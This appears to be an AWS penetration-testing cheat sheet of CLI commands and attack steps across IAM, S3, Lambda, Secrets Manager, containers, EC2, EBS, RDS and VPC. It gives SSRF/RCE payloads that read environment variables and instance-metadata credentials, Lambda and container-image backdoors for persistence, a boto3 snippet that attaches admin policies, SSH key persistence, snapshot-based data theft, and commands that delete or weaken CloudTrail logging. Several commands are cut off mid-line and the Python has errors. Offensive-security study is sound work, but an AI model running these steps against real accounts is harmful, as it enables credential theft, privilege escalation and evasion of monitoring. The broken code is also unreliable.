Listing trust relashionship between role and user (Which roles we can assume)

```
aws iam get-role --role-name role_name
```

Listing all managed policies attached to the specific IAM role

```
aws iam liast-attached-role-policies --role-name role_name
```

Retrieving information about the specified version of the policy

```
aws iam get-policy-version --policy-arn policy_arn --version-id ID
```

Getting temporary credentials for the role

```
aws sts assume-role --role-arn role_arn --role-session-name session_name
```

Configuring AWS cli with newer credentials (On Linux)

```
export AWS_ACCESS_KEY_ID
export AWS_SECRET_KEY
export AWS_SESSION_TOKEN
```

Getting information about the temporary credential

```
aws sts get-caller-identity
```

S3 - Simple Storage System

- Storage system that allow users to store and retrieve data.
- List,Get,Put and Delete operations can be performed on the objects of the bucket
- Buckets are global, meaning that they are available to all regions
- It's possible to bruteforce the bucket name and region in the URL
- Its possible to apply ACL's to bucket and object level and bucket policies for bucket level
- There is also time limited URL's and identity based policies
- Identity policies are enumerated using IAM commands

Enumeration

Listing all buckets in aws account

```
aws s3api list-buckets
```

Getting information about a specific bucket

```
aws s3api get-bucket-acl --bucket name
```

Getting information about a specific bucket policy

```
aws s3api get-bucket-policy --bucket name
```

Getting the Public Access Block configuration for an S3 bucket

```
aws s3api get-public-access-block --bucket name
```

Listing all objects in a specific bucket

```
aws s3api list-objects --bucket name
```

Getting ACL information about specific object

```
aws s3api get-object-acl --bucket-name name --key object_name
```

Data Exfiltration

- It's possible to brute-force files in the bucket
- If the bucket is misconfigured, we can read data through web browser, cli/api or time-based URL.

Public Access

- Just enter the URL in the browser

```
https://bucket-name.region.amazonaws.com/secret.txt
```

Authenticated User

```
aws s3api get-object --bucket name --key object-name download-file-location
```

Time-Based Url

- Generate a time based url for an object
- Userful if the object is not public

```
aws s3 presign s3://bucket-name/object-name --expires-in 605000
```

Lambda & API Gateway

- Serverless event driven platform
- Runs code in response to events and automatically manages computing resources required by that code
- Can trigger from other AWS services or call directly from the API Gateway
- A lambda function is a piece of code that is executed whenever is triggered by an event from an event source
- API Gateway is an AWS service for creating, publishing, maintaining, monitoring and securing REST, HTTP and WebSocket API
- API Gateway can be used to trigger lambda functions in a synchronous (api gateway), asynchronous (event) or stream (Poll Based) way.
- If we found a lambda function that access an S3 (Example) its possible to change its code and gain access to the files.
- If API Gateway is used, we can enumerate the API to see how its possible to invoke the lambda function (Craft the URL).

Enumeration

Listing All lambda functions

```
aws lambda list-functions
```

Listing information about a specific lambda function

```
aws lambda get-function --function-name function_name
```

- *This command enables us to download the source code of the lambda function*

Listing policy information about the function

```
aws lambda get-policy --function-name function_name
```

- We can get informations like who can execute this functions, ID and other informations with this command

Listing the event source mapping information about a lambda function

```
aws lambda list-event-source-mappings --function-name function_name
```

Listing Lambda Layers (Depedencies)

```
aws lambda list-layers
```

Listing full information about a lambda layer

```
aws lambda get-layer-version --layer-name name --version-number version_number
```

Listing Rest API'S

```
aws apigateway get-rest-apis
```

Listing information about a specific API

```
aws apigateway get-rest-api --rest-api-id ID
```

Listing information about endpoints

```
aws apigateway get-resources --rest-api-id ID
```

Listing information about a specific endpoint

```
aws apigateway get-resource --rest-api-id ID --resource-id ID
```

Listing method information for the endpoint

```
aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method meth
```

- Test various methods to see if the API supports it.

Listing all versions of a rest api

```
aws apigateway get-stages --rest-api-id ID
```

Getting informatin about a specific version

```
aws apigateway get-stage --res-api-id ID --stage-name NAME
```

Listing API KEYS

```
aws apigateway get-api-keys --include-values
```

Getting information about a specific API Key

```
aws apigateway get-api-key --api-key KEY
```

Initial Access

- Its possible to get RCE through API Gateway if it executes commands.
- If you can execute commands, there is a way to retrieve keys from the API Gateway, just use `env` , configure `aws cli` and proceed with the exploitation.

Credential Access

Getting credentials from Lambda can be done in 2 ways

1. Keys in the source code
2. Keys in the enviroment variables

These keys can be gathered using SSRF, RCE and so on.

Getting credentials using RCE

```
https://apigateway/prod/system?cmd=env
```

Getting credentials using SSRF

```
https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invo
```

Getting credentials using SSRF and wrappers

```
https://apigateway/prod/system?cmd=file:///proc/self/environ
```

Getting credentials from lambda enviroment variables (cli)

```
aws lambda get-function --function-name NAME
```

- It's important to enumerate the functions first with `aws lambda list-functions`

Persistence

- If the user has sufficient rights in the lambda function, its possible to download the source code, add a backdoor to it and upload. Everytime the lambda executes, the malicious code will also execute.
- Always try to update the code of layers (depedencies) instead of the actual lambda code, this way our backdoor will be difficult to detect.

Checking which user is executing

```
aws sts get-caller-identity
```

Checking all managed policies attached to the user

```
aws iam list-attached-user-policies --user-name user_name
```

Checking informations about a specific policy

```
aws iam get-policy-version --policy-arn arn --version-id ID
```

Listing all lambda functions

```
aws lambda list-functions --region region
```

Listing information about the specified lambda

```
aws lambda get-function --function-name name
```

- Download and analyze the codes

Listing policy information about the specific lambda function

```
aws lambda get-policy --function-name name --profile profile --region region
```

- We can grab informations like id, who can invoke and other details with this command (Helps to build the query to execute the lambda function).

Listing Rest API'S

```
aws apigateway get-rest-apis
```

Listing information about a specific API

```
aws apigateway get-rest-api --rest-api-id ID
```

Listing information about endpoints

```
aws apigateway get-resources --rest-api-id ID
```

Listing information about a specific endpoint

```
aws apigateway get-resource --rest-api-id ID --resource-id ID
```

Listing method information for the endpoint

```
aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method meth
```

- Test various methods to see if the API supports it.

Listing all versions of a rest api

```
aws apigateway get-stages --rest-api-id ID
```

Getting informatin about a specific version

```
aws apigateway get-stage --res-api-id ID --stage-name NAME
```

Uploading the backdoor code to aws lambda function

```
aws lambda update-function-code --function-name function --zip-file fileb://my-fu
```

Invoke the Function

```
curl https://uj3948ie.execute-api.us-east-2.amazonaws.com/default/EXAMPLE
```

Where

1. API-ID -> uj3948ie
2. Region -> us-east-2
3. Resource (Endpoint) -> EXAMPLE
4. Method -> Get
5. Stage (Version) -> default
6. API-Key -> None

All these details are gathered during the enumeration.

Privilege Escalation

- If we have a user with PassRole and CreateFunction roles and also AttachRolePolicy role in a

Lambda Function, its possible to create a function with a code that changes the lambda role to admin then the user to Administrator.

Create a lambda function and attach a role to it

```
aws lambda create-function --function-name my-function --runtime python3.7 --zip-
```

- Inside the function's code, we will add the administrator permission to the role and to the user

Example code to add the permissions

```
import boto3
import json

def handler(event,context)
    iam = boto3.client("iam")
    iam.attach.role.policy(RoleName="name",PolicyArn="arn",)
    iam.attach.user.policy(UserName="name",PolicyArn="arn",)
    return {
        'statusCode':200
        'body':json.dumps("Pwned")
    }
```

Invoke a lambda function

```
aws lambda invoke --function-name name response.json --region region
```

Listing managed policies to see if the change worked

```
aws iam list-attached-user-policies --user-name user_name
```

AWS Secret Manager

- AWS Service that encrypts and store secrets
- Transparently decrypts and return in plaintext
- KMS used to store keys (AWS Key and Customer Managed Key)
- Asymmetric and Symmetric keys can be created using KMS

Enumeration

Listing all secrets stored by Secret Manager

```
aws secretsmanager list-secrets
```

Listing information about a specific secret

```
aws secretsmanager describe-secret --secret-id name
```

Getting policies attached to the specified secret

```
aws secretsmanager get-resource-policy --secret-id ID
```

Listing keys in KMS

```
aws kms list-keys
```

Listing information about a specific key

```
aws kms describe-key --key-id ID
```

Listing policies attached to a specific key

```
aws kms list-key-policies --key-id ID
```

Getting full information about a policy

- Shows who can access the keys

```
aws kms get-key-policy --policy-name name --key-id ID
```

Credential Exfiltration

- If the user has access to Secret Manager, it can decrypt the secrets using the web, cli or API

Listing policies attached to an user

```
aws iam list-attached-user-policies --user-name name
```

Retrieving information about a specific version of policy

- Here we can see the permissions

```
aws iam get-policy-version --policy-arn arn --version-id id
```

Listing all secrets stored by Secret Manager

```
aws secretsmanager list-secrets
```

Listing information about a specific secret

- Here we get the secret Key Id to descript the secret

```
aws secretsmanager describe-secret --secret-id name
```

Getting resource-based policy attached to an specific secret

```
aws secretsmanager get-resource-policy --secret-id ID
```

Getting the secret value

- Retrieves the actual value

```
aws secretsmanager get-secret-value --secret-id ID
```

KMS

- If we compromised as an example an S3 with an encrypted file, we can decrypt it using the keys stored in KMS.

Listing an specific key

```
aws kms describe-key --key-id id
```

Listing policies attached to an specified key

- Here we can see who can access the key, the description of it and so on

```
aws kms list-key-policies --key-id ID
```

Listing full information about a policy

- Run the previous command in all keys to see who can access it

```
aws kms get-key-policy --policy-name name --key-id ID
```

Decrypt the secret using the key

- There is no need to specificy the key information because this information is embbeded in the encrypted file

```
aws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query pla
```

Containers

Divided into three categories

- Registry -> Secure place to store container images (ECR)
- Orchestration -> Configure when and where the containters run (ECS,EKS)
- Compute -> Use to do computing related tasks (EC2, Fargate)
- Its possible to create a backdoor image and add to a EKS cluster
- Always look how VPC's are communicatig with each other, maybe is possible to pivot through the EKS VPC from other VPC and compromise the entire cluster

Initial Access

- The initial access can be done by exploiting some RCE in webapp to get access to the container, afterwards its possible to compromise the EC2.

After the RCE, we can list all secrets in EKS

```
https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount
```

Getting the secret information from EKS

```
https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount/t
```

- It's also possible to do sandbox escaping (Tool: `deepce`)

Enumeration

ECR

Listing all repositories in container registry

```
aws ecr describe-repositories
```

Listing information about repository policy

```
aws ecr get-repository-policy --repository-name name
```

Listing all images in a specific repository

```
aws ecr list-images --repository-name name
```

Listing information about an image

```
aws ecr describe-images --repository-name name --images-ids imageTag=name
```

ECS

Listing all ECS clusters

```
aws ecs list-clusters
```

Listing information about an specific cluster

```
aws ecs describe-clusters --cluster name
```

Listing all services in specified cluster

```
aws ecs list-services --cluster name
```

Listing information about an specific service

```
aws ecs descibe-services --cluster name --services name
```

- This command shows the logs of the service

Listing tasks in specific cluster

```
aws ecs list-tasks --cluster name
```

Listing information about an specific task

```
aws ecs describe-tasks --cluster name -tasks taskArn
```

- Also shows information about network, userful if trying to pivot

Listing all containers in specified cluster

```
aws ecs list-container-instances --cluster name
```

EKS

Listing all EKS clusters

```
aws eks list-clusters
```

Listing information about an specific cluster

```
aws eks describe-cluster --name name
```

Listing all node groups in specified cluster

```
aws eks list-nodegroups --cluster-name name
```

Listing specific information about a node group in a cluster

```
aws eks describe-nodegroup --cluster-name name --nodegroup-name name
```

Listing Fargate in specified cluster

```
aws eks list-fargate-profiles --cluster-name cluster-name
```

Listing information about a fargate profile in a cluster

```
aws eks describe-fargate-profiles --cluster-name name --fargate-profile-name name
```

Persistence

- It's possible to modify an existing docker image with a backdoor, when this image is used it will trigger our team server.

Enumerating the user

```
aws sts get-caller-identity
```

Listing manager policies attached to the IAM role

```
aws iam list-attached-role-policies --role-name name
```

Getting information about the version of the managed policy

```
aws iam get-policy-version --policy-arn arn --version-id id
```

Getting information about the repositories in container registry

```
aws ecr describe-repositories
```

Listing all images in the repository

```
aws ecr list-images --repository-name name
```

Listing information about an image

```
aws ecr describe-images --repository-name name --image-ids imageTag=Name
```

Authenticate the docker daemon to ECR

```
aws ecr get-login-password --region region | docker login --username AWS --passwo
```

Building images with backdoor

```
docker build -t image_name
```

Tagging the docker image

```
docker tag image_name ecr_addr:Image_Name
```

Pushing the image to ECR

```
docker push ecr_addr:Image_Name
```

EC2

- AMI, images used to create virtual machines
- It's possible to create a malicious image to compromise users
- We can access an instance using SSH Keys, EC2 Instance Connect, Session Manager

- The SSH Key method is permanent, we need to gather the private key to connect to the instance
- EC2 Instance connect is an IAM right that we can add to a user, enabling us to temporarily connect to an instance
- Session manager only work in browser and it does not need SSH Key
- Windows machines can be accessed by using RDP, Session Manager
- Security Groups acts as a virtual firewall to control inbound and outbound traffic, acts at the instance level, not the subnet level.

Enumeration

Listing information about all instances

```
aws ec2 describe-instances
```

Listing information about a specific region

```
aws ec2 describe-instances --region region
```

Listing information about specific instance

```
aws ec2 describe-instances --instance-ids ID
```

Extracting UserData attribute of specified instance

```
aws ec2 describe-instance-attribute --attribute userData --instance-id instanceID
```

This command gathers the metadata from the instance, like commands or secrets. The output is base64 encoded

Listing roles of an instance

```
aws ec2 describe-iam-instance-profile-associations
```

Exploitation

- Initial access can happen by RCE or SSRF
- Metadata can be used to exfiltrate information from the instance

Remote code execution

AWS Metadata

If we have remote code execution or SSRF, we can grab metadata information

```
curl http://169.254.169.254/latest/meta-data
```

Grabbing the keys to access the instance

```
curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-cr
```

Grabbing the keys in metadata version 2

```
TOKEN=`curl
X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl
&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/meta
```

AWS Userdata

Version 1

```
curl http://169.254.169.254/latest/user-data/
```

Version 2

```
TOKEN=`curl
X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl
&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/user
```

Privilege Escalation

- One approach to get a shell in a instance is to put a reverse shell in UserData attribute, when the instance is launched, we will have the connection.
- Another approach happens when we have the iam:PassRole and iam:AmazonEC2FullAccess

permissions, we can add an administrator role to the compromised EC2 instance and access aws services.

Getting information about the key

```
aws sts get-caller-identity
```

Getting policies attached to the IAM user

```
aws iam list-attached-user-policies --user-name user_name
```

Getting information about a specific policy version

```
aws iam get-policy-version --policy-arn ARN --version-id ID
```

To attach a role to an EC2 instance, we can use the RCE to grab the ID

```
curl http://169.254.169.254/latest/meta-data/instance-id
```

Listing instance profiles

```
aws iam list-instance-profiles
```

Attach an instance profile to an EC2 instance

```
aws ec2 associate-iam-instance-profile --instance-id ID --iam-instance-profile Na
```

Credential Access

- We can grab the credentials by abusing metadata (Web Application with SSRF,RCE and so on)

After the initial access

1. Enumerate the key (Role)

```
aws sts get-caller-identity
```

2. If there are roles associated with the key, we can grab the credentials by issuing a request to the metadata endpoint (v1 or v2)

```
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_OF_PRE
```

3. Configure the aws cli

```
aws configure
```

Or use enviroment variables.

Persistence

- All the persistence techniques works here, SSH persistence, vim backdoor and so on.

SSH Persistence example

1. Generate SSH Key pair

```
ssh-keygen
```

2. Add public key to authorized_keys

```
echo "PUBLIC_Key" >> /home/user/.ssh/authorized_keys
```

3. Use the private key to connect

```
ssh -i public_key user@instance
```

Elastic Block Store

- Block storage system used to store persistent data
- It's possible to attach this drive to EC2 and increase the storage (Like and HD, but scalable).
- It's possible to create a snapshot (It will be saved on S3) and create a volume from this snapshot.
- It's possible to attach the snapshot (Backup of BS) to an EC2 instance

- Snapshots can be used as volumes or AMI's

Enumeration

Enumerating EBS volumes

```
aws ec2 describe-volumes
```

- If the volume is available, it can be attached to an EC2 instance
- Check if the EBS is encrypted

Enumerating Snapshots

```
aws ec2 describe-snapshots --owner-ids self
```

- Also check if the snapshot is encrypted

Exploitation & Data Exfiltration

- Create a snapshot of an EC2 instance, create a volume from snapshot and attach to other EC2 instance.
- User need to have IAM permissions on EC2
- Maybe we don't have the right to access the instance but have rights to create a snapshot and attach it to another machine.

Creating a snapshot of a specified volume

```
aws ec2 create-snapshot --volume volumeID --description "Example" --profile profi
```

Listing snapshots

```
aws ec2 describe-snapshots
```

Creating a volume from a snasphot

```
aws ec2 create-volume --snapshot-id ID --availability-zone ZONE --profile profile
```

- The volume needs to be in the same availability zone as the instance we have access

Attaching the volume to an instance

```
aws ec2 attach-volume --volume-id VolumeID --instance-id InstanceID --device /dev
```

Mounting the volume

```
sudo mount /dev/sdfd /directory
```

After mounting, we will have access to the disk.

RDS - Relational Database Service

- Service to use, operate and scale relational databases in AWS (MariaDB, MySQL and similar)
- The access is done by using password, password+IAM or password+kerberos
- It's possible to restrict access using restriction such as specific EC2 or lambda or use network level restriction such as vpc, ip.
- RDS Proxy hadles the traffic between the application and the database, it enables the enforcing of IAM permissions and use secrets manager to store credentials.

Enumeration

Listing information about clusters in RDS

```
aws rds describe-db-clusters
```

Listing information about RDS instances

```
aws rds describe-db-instances
```

- IAMDatabaseAuthenticationEnabled: false -> Need password to access the instance

Listing information about subnet groups in RDS

```
aws rds describe-db-subnet-groups
```

Listing information about database security groups in RDS

```
aws rds describe-db-security-groups
```

Listing information about database proxies

```
aws rds describe-db-proxies
```

Data exfiltration

- If the instance is in a security group or VPC, we need to compromise it first to access the database (For example, we compromise an EC2 instance in the same VPC, then its possible to connect)

List instances in RDS

```
aws rds describe-db-instances
```

List information about the specified security group

```
aws ec2 describe-security-groups --group-ids id
```

Password based authentication

```
mysql -h hostname -u name -P port -p password
```

IAM Based authentication

1. Identify the user

```
aws sts get-caller-identity
```

2. List all policies attached to a role

```
aws iam list-attached-role-policies --role-name name
```

3. Get information about a specific version of a policy

```
aws iam get-policy-version --policy-arn arn --version-id ID
```

4. Get a temporary token from the RDS

```
aws rds generate-db-auth-token --hostname hostname --port port --username usernam
```

- To be easier, we can put it in a variable

```
TOKEN=$(aws rds generate-db-auth-token --hostname hostname --port port --username
```

5. Connect to the DB using the token

```
mysql -h hostname -u name -P port --enable-cleartext-plugin --user=user --passwor
```

SSO & Other Services

Single Sign On (SSO)

- Used to centrally manage access to multiple AWS accounts and applications.
- Provide users a way to interact with all services and applications through one place
- Can be used to manage access and user permissions to all AWS accounts
- The identity source can use AWS SSO's identity store or external identity store (Okta,SAML and similar)

CloudTrail

- Log monitoring service, allow us to continuously monitor and retain account activity related to actions in our AWS account
- Provide event history of AWS account activity, SDKs, command line tools and other services

- Commonly used to detect unsual behavior in AWS account
- Pacu automatically changes the user agent to deceive the logs of cloudtrail

Userful Commands

List trails

```
aws cloudtrail list-trails
```

Disabling CloudTrail

```
aws cloudtrail delete-trail --name example_trail --profile name
```

Disable monitoring of events from global events

```
aws cloudtrail update-trail --name example_trail --no-include-global-service-even
```

Disable CloudTrail on specific regions

```
aws cloudtrail update-trail --name example_trail --no-include-global-service-even
```

AWS Shield

- Used to protect services from Denial of Service Attacks
- There are 2 versions, the standard and the Advanced

AWS Waf

- Used to protect applications against common web application attacks
- Common WAF bypasses can be tested against it
- To detect an WAF, we can use `wafw00f`

AWS Inspector

- Automated security assessment service that helps improve the security and compliance of applications on AWS

- Works with an agent

AWS Guard Duty

- Threat detection service that monitors for malicious activity and unauthorized behavior
- Works by collecting and analyzing logs

Virtual Private Cloud

- Used to create an isolated infrastructure within the cloud, including subnets and so on.
- If the VPC has an internet gateway, means its a public subnet
- Every VPC can have Network ACL's

Routing Tables

A set of rules to determine where the traffic will be directed, comes in form of Destination and Target, defined as follows

```
DESTINATION TARGET

IP          local -> VPC Internal
IP          igw   -> Internet Gateway
IP          nat   -> NAT Gateway
IP          pcx   -> VPC Peering
IP          vpce  -> VPC Endpoint
IP          vgw   -> VPN Gateway
IP          eni   -> Network Interface
```

- VPC Internal -> Internal IP, no internet connection
- Internet Gateway -> Used to access the internet
- NAT Gateway -> Does the NAT between machines, allows one way connection to the internet
- VPC Peering -> Allows the communication between 2 VPC's
- VPC Endpoint -> Used to access aws services without internet connection (Internet Gateway)
- VPN Gateway -> Used to expand the cloud to on premises and vice-versa
- Network Interface -> Network Interfaces

Enumeration

Listing VPC's

```
aws ec2 describe-vpcs
```

Listing VPC's specifing the region

```
aws ec2 describe-vpcs --region us-west-1
```

Listing VPC information by ID

```
aws ec2 describe-vpcs --filters "Name=vpc-id,Values=ID"
```

Listing subnet's

```
aws ec2 describe-subnets
```

Listing subnet's by VPC-id

```
aws ec2 describe-subnets --filters "Name=vpc-id,Values=ID"
```

Listing routing tables

```
aws ec2 describe-route-tables
```

Listing routing tables by VPC-id

```
aws ec2 describe-route-tables --filters "Name=vpc-id,Values=ID"
```

Listing Network ACL's

```
aws ec2 describe-network-acls
```

Lateral Movement and Pivoting

- We can abuse VPC peering to do lateral movement

Scenario

- There are 3 VPC's -> A,B,C
- A can access B through peering and B access C. We can use VPC B as a peering pivot to access VPC C from VPC A.
- The lateral movement can be done if we gather keys or other machines
- Always enumerate the subnets to see in which subnet we can access other VPC's

Listing VPC peering connections

```
aws ec2 describe-vpc-peering-connections
```

Listing subnets of specific VPC (Important because the access can be restricted to specific subnets to other VPC's)

```
aws ec2 describe-subnets --filters "Name=vpc-id,Values=ID"
```

Listing routing tables

```
aws ec2 describe-route-tables --filters "Name=vpc-id,Values=ID"
```

Listing instances on the specified VPC ID

```
aws ec2 describe-instances --filters "Name=vpc-id,Values=ID"
```

Listing instances on the specified subnet

```
aws ec2 describe-instances --filters "Name=subnet-id,Values=ID"
```

References

- An introduction to penetration testing AWS - Akimbocore

- Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk
- My arsenal of AWS Security tools - toniblyx
- AWS Privilege Escalation method mitigation - RhinoSecurityLabs
- AWS CLI Cheatsheet - apolloclark
- Pacu Open source AWS Exploitation framework - RhinoSecurityLabs
- PACU Spencer Gietzen - 30 juil. 2018
- Cloud security instance metadata - PumaScan
- Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018
- AWS - Cheatsheet - @Magnussen
- HOW I HACKED A WHOLE EC2 NETWORK DURING A PENETRATION TEST - by Federico Fernandez
- How to Attach and Mount an EBS volume to EC2 Linux Instance - AUGUST 17, 2016
- Getting shell and data access in AWS by chaining vulnerabilities - Riyaz Walikar - Aug 29, 2019
- Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2) - Sunesh Govindaraj - Nov 25, 2019
- Gaining AWS Console Access via API Keys - Ian Williams - March 18th, 2020
- AWS API calls that return credentials - kmcquade